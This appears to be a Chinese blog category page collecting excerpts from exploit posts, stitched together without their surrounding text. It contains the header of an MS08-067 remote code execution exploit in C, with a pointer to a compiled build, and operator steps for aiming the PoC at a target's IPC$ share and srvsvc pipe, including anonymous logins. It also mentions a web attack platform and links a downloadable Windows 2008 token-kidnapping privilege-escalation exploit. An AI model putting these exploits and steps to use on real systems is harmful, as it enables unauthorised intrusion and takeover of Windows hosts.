分类 ‘工具收集’ 下的日志
MS08-067 Remote Stack Overflow Vulnerability Exploit
# 鬼仔：编译好的 ms08067.rar
Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-10-28
#include "stdafx.h"
#include <winsock2.h>
#include <Rpc.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
#pragma comment(lib, "ws2_32")
MS08-067 Exploit for CN 2k/xp/2003 .net version
MS08-067 Exploit for CN 2k/xp/2003 bypass version
MS Windows Server Service Code Execution PoC (MS08-067)
In vstudio command prompt:
mk.bat
next:
attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)
net use \\IPADDRESS\IPC$ /user:user creds
die \\IPADDRESS \pipe\srvsvc
In some cases, /user:"" "", will suffice (i.e., anonymous connection)
Anehta -- 新一代的web攻击平台
Token Kidnapping Windows 2008 PoC exploit
鬼仔注：发过 MS Windows 2003 Token Kidnapping Local Exploit PoC ，这次是2008.
Now it's time for Windows 2008 exploit (it should work on Windows 2003 too)
You will see that the super secure IIS 7 can be owned, too weak by default :)
You can find the PoC exploit here http://www.argeniss.com/research/Churrasco2.zip
Enjoy.